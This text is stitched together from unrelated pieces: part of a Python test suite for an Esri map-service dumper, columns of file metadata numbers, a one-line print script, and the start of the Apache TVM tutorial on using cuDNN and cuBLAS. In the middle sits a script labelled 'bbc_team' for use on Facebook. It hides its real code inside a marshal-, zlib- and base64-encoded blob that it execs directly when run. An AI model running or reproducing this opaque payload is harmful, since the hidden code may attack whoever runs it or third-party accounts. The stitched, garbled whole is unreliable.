method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-ms-madison/us-ms-madison-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-ms-madison/us-ms-madison-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(1, len(data))
def test_advanced_query_pagination(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-esri-test/us-esri-test-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-esri-test/us-esri-test-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-esri-test/us-esri-test-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(1000, len(data))
def test_advanced_query_pagination_incorrect_outfield_name(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-ca-tuolumne/us-ca-tuolumne-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-ca-tuolumne/us-ca-tuolumne-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*outStatistics=.*',
'us-ca-tuolumne/us-ca-tuolumne-statistics.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-ca-tuolumne/us-ca-tuolumne-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-ca-tuolumne/us-ca-tuolumne-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-ca-tuolumne/us-ca-tuolumne-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(15, len(data))
def test_oid_enumeration_when_wrong_min_max_is_given(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-fl-polk/us-fl-polk-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-fl-polk/us-fl-polk-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*outStatistics=.*',
'us-fl-polk/us-fl-polk-statistics.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-fl-polk/us-fl-polk-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-fl-polk/us-fl-polk-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-fl-polk/us-fl-polk-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(10, len(data))
def test_oid_enumeration_when_statistics_doesnt_work(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-mi-kent/us-mi-kent-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-mi-kent/us-mi-kent-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*outStatistics=.*',
'us-mi-kent/us-mi-kent-statistics.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-mi-kent/us-mi-kent-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-mi-kent/us-mi-kent-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(15, len(data))
def test_coerces_floats_to_integer(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-mo-columbia/us-mo-columbia-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-mo-columbia/us-mo-columbia-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-mo-columbia/us-mo-columbia-ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*query.*',
'us-mo-columbia/us-mo-columbia-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
self.assertEqual(43, len(data))
def test_proxy_requests(self):
self.add_fixture_response(
r'http://proxy/\?http://example\.com\?f=json',
'us-mo-columbia/us-mo-columbia-metadata.json',
method='GET',
)
self.add_fixture_response(
r'http://proxy/\?http://example\.com/.*returnCountOnly=true.*',
'us-mo-columbia/us-mo-columbia-count-only.json',
method='GET',
)
self.add_fixture_response(
r'http://proxy/\?http://example\.com/.*returnIdsOnly=true.*',
'us-mo-columbia/us-mo-columbia-ids-only.json',
method='GET',
)
self.add_fixture_response(
r'http://proxy/\?http://example\.com/.*query.*',
'us-mo-columbia/us-mo-columbia-0.json',
method='POST',
)
dump = EsriDumper(self.fake_url, proxy='http://proxy?')
data = list(dump)
self.assertEqual(43, len(data))
def test_handles_timeout_error(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-mo-columbia/us-mo-columbia-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-mo-columbia/us-mo-columbia-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-mo-columbia/us-mo-columbia-ids-only.json',
method='GET',
)
import socket
self.responses.add(
method='POST',
url=re.compile('.*query.*'),
body=socket.timeout(),
)
dump = EsriDumper(self.fake_url)
with self.assertRaisesRegexp(EsriDownloadError, "Timeout when connecting to URL"):
list(dump)
def test_handles_value_error(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-mo-columbia/us-mo-columbia-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-mo-columbia/us-mo-columbia-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-mo-columbia/us-mo-columbia-ids-only.json',
method='GET',
)
self.responses.add(
method='POST',
url=re.compile('.*query.*'),
body=ValueError(),
)
dump = EsriDumper(self.fake_url)
with self.assertRaisesRegexp(EsriDownloadError, "Could not parse JSON"):
list(dump)
def test_handles_exception(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-mo-columbia/us-mo-columbia-metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-mo-columbia/us-mo-columbia-count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-mo-columbia/us-mo-columbia-ids-only.json',
method='GET',
)
self.responses.add(
method='POST',
url=re.compile('.*query.*'),
body=Exception(),
)
dump = EsriDumper(self.fake_url)
with self.assertRaisesRegexp(EsriDownloadError, "Could not connect to URL"):
list(dump)
def test_geo_queries_when_oid_enumeration_doesnt_work(self):
self.add_fixture_response(
'.*/\?f=json.*',
'us-il-cook/metadata.json',
method='GET',
)
self.add_fixture_response(
'.*returnCountOnly=true.*',
'us-il-cook/count-only.json',
method='GET',
)
self.add_fixture_response(
'.*returnIdsOnly=true.*',
'us-il-cook/ids-only.json',
method='GET',
)
self.add_fixture_response(
'.*geometry=.*',
'us-il-cook/page-full.json',
method='GET',
)
self.add_fixture_response(
'.*geometry=.*',
'us-il-cook/page-partial.json',
method='GET',
)
self.add_fixture_response(
'.*geometry=.*',
'us-il-cook/page-partial.json',
method='GET',
)
self.add_fixture_response(
'.*geometry=.*',
'us-il-cook/page-partial.json',
method='GET',
)
self.add_fixture_response(
'.*geometry=.*',
'us-il-cook/page-partial.json',
method='GET',
)
dump = EsriDumper(self.fake_url)
data = list(dump)
# Note that this count is entirely fake because of the deduping happening
# This test is only designed to make sure we're splitting into smaller
# bounding boxes.
self.assertEqual(2, len(data))
| 30.327586
| 90
| 0.520019
| 1,295
| 12,313
| 4.807722
| 0.11583
| 0.089945
| 0.161902
| 0.194346
| 0.848057
| 0.842756
| 0.789431
| 0.752811
| 0.741568
| 0.703662
| 0
| 0.003044
| 0.332981
| 12,313
| 405
| 91
| 30.402469
| 0.755023
| 0.01267
| 0
| 0.621547
| 0
| 0
| 0.289064
| 0.21649
| 0
| 0
| 0
| 0
| 0.033149
| 1
| 0.041436
| false
| 0
| 0.019337
| 0
| 0.063536
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1661d72137bc5c321121423c1596fd478faea489
| 37
|
py
|
Python
|
Exercicios/Exercicio001.py
|
RicardoMart922/estudo_Python
|
cb595c2a5e5aee568b6afa71b3ed9dd9cb7eef72
|
[
"MIT"
] | null | null | null |
Exercicios/Exercicio001.py
|
RicardoMart922/estudo_Python
|
cb595c2a5e5aee568b6afa71b3ed9dd9cb7eef72
|
[
"MIT"
] | null | null | null |
Exercicios/Exercicio001.py
|
RicardoMart922/estudo_Python
|
cb595c2a5e5aee568b6afa71b3ed9dd9cb7eef72
|
[
"MIT"
] | null | null | null |
print('\033[1;31mOlá, MUndo!\033[m')
| 18.5
| 36
| 0.648649
| 7
| 37
| 3.428571
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.257143
| 0.054054
| 37
| 1
| 37
| 37
| 0.428571
| 0
| 0
| 0
| 0
| 0
| 0.72973
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
168ff536958f4dd564f3e66364691887da7dd0df
| 3,252
|
py
|
Python
|
.main.py
|
cyberattack07/bsix
|
60e71380891198116b9cbf0635fdba59c592aee6
|
[
"MIT"
] | 1
|
2021-12-29T09:05:33.000Z
|
2021-12-29T09:05:33.000Z
|
.main.py
|
cyberattack07/bsix
|
60e71380891198116b9cbf0635fdba59c592aee6
|
[
"MIT"
] | null | null | null |
.main.py
|
cyberattack07/bsix
|
60e71380891198116b9cbf0635fdba59c592aee6
|
[
"MIT"
] | null | null | null |
# bbc_team v1.0
# Contact Me On Facebook For Using This Tool
# Coded By Alamgir
# If You Wanna Take Credits For This Code, Please Look Yourself Again...
# Reserved2020
# Powered by Team BBC BROTHER
import marshal,zlib,base64
exec(marshal.loads(zlib.decompress(base64.b64decode("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"))))
| 361.333333
| 3,026
| 0.952337
| 126
| 3,252
| 24.571429
| 0.936508
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149751
| 0.0123
| 3,252
| 8
| 3,027
| 406.5
| 0.814135
| 0.056888
| 0
| 0
| 0
| 0.5
| 0.969935
| 0.969935
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
bc470235abebbc6fd6e538ab293cbf4fc1efa946
| 57,677
|
py
|
Python
|
tutorials/frontend/using_external_lib.py
|
jiangzoi/incubator-tvm
|
144c6f45f7217b9df2f5605e06f0903e470ac11c
|
[
"Apache-2.0"
] | 4
|
2019-05-08T04:46:07.000Z
|
2019-11-11T19:43:04.000Z
|
tutorials/frontend/using_external_lib.py
|
jiangzoi/incubator-tvm
|
144c6f45f7217b9df2f5605e06f0903e470ac11c
|
[
"Apache-2.0"
] | 2
|
2020-09-14T09:18:25.000Z
|
2020-09-24T03:28:18.000Z
|
tutorials/frontend/using_external_lib.py
|
jiangzoi/incubator-tvm
|
144c6f45f7217b9df2f5605e06f0903e470ac11c
|
[
"Apache-2.0"
] | 2
|
2019-08-08T01:48:03.000Z
|
2019-09-27T06:49:16.000Z
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""
Using External Libraries in Relay
=================================
**Author**: `Masahiro Masuda <https://github.com/masahi>`_, `Truman Tian <https://github.com/SiNZeRo>`_
This is a short tutorial on how to use external libraries such as cuDNN, or cuBLAS with Relay.
Relay uses TVM internally to generate target specific code. For example, with cuda backend TVM generates cuda kernels for all layers in the user provided network.
But sometimes it is also helpful to incorporate external libraries developed by various vendors into Relay.
Luckily, TVM has a mechanism to transparently call into these libraries.
For Relay users, all we need to do is just to set a target string appropriately.
Before we can use external libraries from Relay, your TVM needs to be built with libraries you want to use.
For example, to use cuDNN, USE_CUDNN option in `cmake/config.cmake` needs to be enabled, and cuDNN include and library directories need to be specified if necessary.
To begin with, we import Relay and TVM.
"""
import tvm
from tvm import te
import numpy as np
from tvm.contrib import graph_runtime as runtime
from tvm import relay
from tvm.relay import testing
######################################################################
# Create a simple network
# -----------------------
# Let's create a very simple network for demonstration.
# It consists of convolution, batch normalization, and ReLU activation.
out_channels = 16
batch_size = 1
data = relay.var("data", relay.TensorType((batch_size, 3, 224, 224), "float32"))
weight = relay.var("weight")
bn_gamma = relay.var("bn_gamma")
bn_beta = relay.var("bn_beta")
bn_mmean = relay.var("bn_mean")
bn_mvar = relay.var("bn_var")
simple_net = relay.nn.conv2d(data=data, weight=weight, kernel_size=(3,3), channels=out_channels, padding=(1, 1))
simple_net = relay.nn.batch_norm(simple_net, bn_gamma, bn_beta, bn_mmean, bn_mvar)[0]
simple_net = relay.nn.relu(simple_net)
simple_net = relay.Function(relay.analysis.free_vars(simple_net), simple_net)
data_shape = (batch_size, 3, 224, 224)
net, params = testing.create_workload(simple_net)
######################################################################
# Build and run with cuda backend
# -------------------------------
# We build and run this network with cuda backend, as usual.
# By setting the logging level to DEBUG, the result of Relay graph compilation will be dumped as pseudo code.
import logging
logging.basicConfig(level=logging.DEBUG) # to dump TVM IR after fusion
target = "cuda"
lib = relay.build_module.build(net, target, params=params)
ctx = tvm.context(target, 0)
data = np.random.uniform(-1, 1, size=data_shape).astype("float32")
module = runtime.GraphModule(lib['default'](ctx))
module.set_input("data", data)
module.run()
out_shape = (batch_size, out_channels, 224, 224)
out = module.get_output(0, tvm.nd.empty(out_shape))
out_cuda = out.asnumpy()
######################################################################
# The generated pseudo code should look something like below.
# Note how bias add, batch normalization, and ReLU activation are fused into the convolution kernel.
# TVM generates a single, fused kernel from this representation.
#
# .. code-block:: text
#
# produce tensor {
# // attr [iter_var(blockIdx.z, , blockIdx.z)] thread_extent = 1
# // attr [compute] storage_scope = "local"
# allocate compute[float32 * 32]
# // attr [pad_temp.shared] storage_scope = "shared"
# allocate pad_temp.shared[float32 * 180]
# // attr [placeholder.shared] storage_scope = "shared"
# allocate placeholder.shared[float32 * 144]
# // attr [iter_var(blockIdx.y, , blockIdx.y)] thread_extent = 28
# // attr [iter_var(blockIdx.x, , blockIdx.x)] thread_extent = 14
# // attr [iter_var(threadIdx.z, , threadIdx.z)] thread_extent = 4
# // attr [iter_var(threadIdx.y, , threadIdx.y)] thread_extent = 1
# // attr [iter_var(threadIdx.x, , threadIdx.x)] thread_extent = 16
# produce compute {
# compute[0] = 0.000000f
# compute[1] = 0.000000f
# compute[2] = 0.000000f
# compute[3] = 0.000000f
# compute[4] = 0.000000f
# compute[5] = 0.000000f
# compute[6] = 0.000000f
# compute[7] = 0.000000f
# compute[8] = 0.000000f
# compute[9] = 0.000000f
# compute[10] = 0.000000f
# compute[11] = 0.000000f
# compute[12] = 0.000000f
# compute[13] = 0.000000f
# compute[14] = 0.000000f
# compute[15] = 0.000000f
# compute[16] = 0.000000f
# compute[17] = 0.000000f
# compute[18] = 0.000000f
# compute[19] = 0.000000f
# compute[20] = 0.000000f
# compute[21] = 0.000000f
# compute[22] = 0.000000f
# compute[23] = 0.000000f
# compute[24] = 0.000000f
# compute[25] = 0.000000f
# compute[26] = 0.000000f
# compute[27] = 0.000000f
# compute[28] = 0.000000f
# compute[29] = 0.000000f
# compute[30] = 0.000000f
# compute[31] = 0.000000f
# for (rc.outer, 0, 3) {
# produce pad_temp.shared {
# // attr [iter_var(threadIdx.z, , threadIdx.z)] thread_extent = 4
# // attr [iter_var(threadIdx.y, , threadIdx.y)] thread_extent = 1
# // attr [iter_var(threadIdx.x, , threadIdx.x)] thread_extent = 16
# if (likely(((threadIdx.z*15) < (60 - threadIdx.x)))) {
# if (likely((threadIdx.x < 15))) {
# pad_temp.shared[(((((threadIdx.z*15) + threadIdx.x)/60)*180) + ((((((threadIdx.z*15) + threadIdx.x)/6) % 10)*18) + ((((threadIdx.z*3) + threadIdx.x)*3) % 18)))] = tvm_if_then_else((((((1 - ((((threadIdx.z*15) + threadIdx.x)/6) % 10)) <= (blockIdx.y*8)) && ((blockIdx.y*8) < (225 - ((((threadIdx.z*15) + threadIdx.x)/6) % 10)))) && ((1 - ((((threadIdx.z*3) + threadIdx.x)*3) % 18)) <= (blockIdx.x*16))) && ((blockIdx.x*16) < (225 - ((((threadIdx.z*3) + threadIdx.x)*3) % 18)))), placeholder[((((((((blockIdx.y*112) + blockIdx.x) + (rc.outer*3136)) + ((((threadIdx.z*15) + threadIdx.x)/60)*9408))*16) + ((((threadIdx.z*3) + threadIdx.x)*3) % 18)) + (((((threadIdx.z*15) + threadIdx.x)/6) % 10)*224)) + -225)], 0.000000f)
# pad_temp.shared[(((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/180)*180) + ((((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/18) % 10)*18) + (((((threadIdx.z*3) + threadIdx.x)*3) + 1) % 18)))] = tvm_if_then_else((((((1 - ((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/18) % 10)) <= (blockIdx.y*8)) && ((blockIdx.y*8) < (225 - ((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/18) % 10)))) && ((1 - (((((threadIdx.z*3) + threadIdx.x)*3) + 1) % 18)) <= (blockIdx.x*16))) && ((blockIdx.x*16) < (225 - (((((threadIdx.z*3) + threadIdx.x)*3) + 1) % 18)))), placeholder[((((((((blockIdx.y*112) + blockIdx.x) + (rc.outer*3136)) + ((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/180)*9408))*16) + (((((threadIdx.z*3) + threadIdx.x)*3) + 1) % 18)) + (((((((threadIdx.z*15) + threadIdx.x)*3) + 1)/18) % 10)*224)) + -225)], 0.000000f)
# pad_temp.shared[(((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/180)*180) + ((((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/18) % 10)*18) + (((((threadIdx.z*3) + threadIdx.x)*3) + 2) % 18)))] = tvm_if_then_else((((((1 - ((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/18) % 10)) <= (blockIdx.y*8)) && ((blockIdx.y*8) < (225 - ((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/18) % 10)))) && ((1 - (((((threadIdx.z*3) + threadIdx.x)*3) + 2) % 18)) <= (blockIdx.x*16))) && ((blockIdx.x*16) < (225 - (((((threadIdx.z*3) + threadIdx.x)*3) + 2) % 18)))), placeholder[((((((((blockIdx.y*112) + blockIdx.x) + (rc.outer*3136)) + ((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/180)*9408))*16) + (((((threadIdx.z*3) + threadIdx.x)*3) + 2) % 18)) + (((((((threadIdx.z*15) + threadIdx.x)*3) + 2)/18) % 10)*224)) + -225)], 0.000000f)
# }
# }
# }
# produce placeholder.shared {
# // attr [iter_var(threadIdx.z, , threadIdx.z)] thread_extent = 4
# // attr [iter_var(threadIdx.y, , threadIdx.y)] thread_extent = 1
# // attr [iter_var(threadIdx.x, , threadIdx.x)] thread_extent = 16
# if (likely(((threadIdx.z*4) < (16 - (threadIdx.x/3))))) {
# if (likely(((threadIdx.z*12) < (48 - threadIdx.x)))) {
# if (likely((threadIdx.x < 12))) {
# placeholder.shared[(((((threadIdx.z*4) + (threadIdx.x/3))*3) + (threadIdx.x % 3))*3)] = placeholder[(((((rc.outer + (threadIdx.z*12)) + ((threadIdx.x/3)*3))*3) + (threadIdx.x % 3))*3)]
# placeholder.shared[((((((threadIdx.z*4) + (threadIdx.x/3))*3) + (threadIdx.x % 3))*3) + 1)] = placeholder[((((((rc.outer + (threadIdx.z*12)) + ((threadIdx.x/3)*3))*3) + (threadIdx.x % 3))*3) + 1)]
# placeholder.shared[((((((threadIdx.z*4) + (threadIdx.x/3))*3) + (threadIdx.x % 3))*3) + 2)] = placeholder[((((((rc.outer + (threadIdx.z*12)) + ((threadIdx.x/3)*3))*3) + (threadIdx.x % 3))*3) + 2)]
# }
# }
# }
# }
# compute[0] = (compute[0] + (pad_temp.shared[threadIdx.x]*placeholder.shared[(threadIdx.z*36)]))
# compute[1] = (compute[1] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[(threadIdx.z*36)]))
# compute[2] = (compute[2] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[(threadIdx.z*36)]))
# compute[3] = (compute[3] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[(threadIdx.z*36)]))
# compute[4] = (compute[4] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[(threadIdx.z*36)]))
# compute[5] = (compute[5] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[(threadIdx.z*36)]))
# compute[6] = (compute[6] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[(threadIdx.z*36)]))
# compute[7] = (compute[7] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[(threadIdx.z*36)]))
# compute[8] = (compute[8] + (pad_temp.shared[threadIdx.x]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[9] = (compute[9] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[10] = (compute[10] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[11] = (compute[11] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[12] = (compute[12] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[13] = (compute[13] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[14] = (compute[14] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[15] = (compute[15] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 9)]))
# compute[16] = (compute[16] + (pad_temp.shared[threadIdx.x]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[17] = (compute[17] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[18] = (compute[18] + (pad_temp.shared[(threadIdx.x + 36)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[19] = (compute[19] + (pad_temp.shared[(threadIdx.x + 54)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[20] = (compute[20] + (pad_temp.shared[(threadIdx.x + 72)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[21] = (compute[21] + (pad_temp.shared[(threadIdx.x + 90)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[22] = (compute[22] + (pad_temp.shared[(threadIdx.x + 108)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[23] = (compute[23] + (pad_temp.shared[(threadIdx.x + 126)]*placeholder.shared[((threadIdx.z*36) + 18)]))
# compute[24] = (compute[24] + (pad_temp.shared[threadIdx.x]*placeholder.shared[((threadIdx.z*36) + 27)]))
# compute[25] = (compute[25] + (pad_temp.shared[(threadIdx.x + 18)]*placeholder.shared[((threadIdx.z*36) + 27)]))
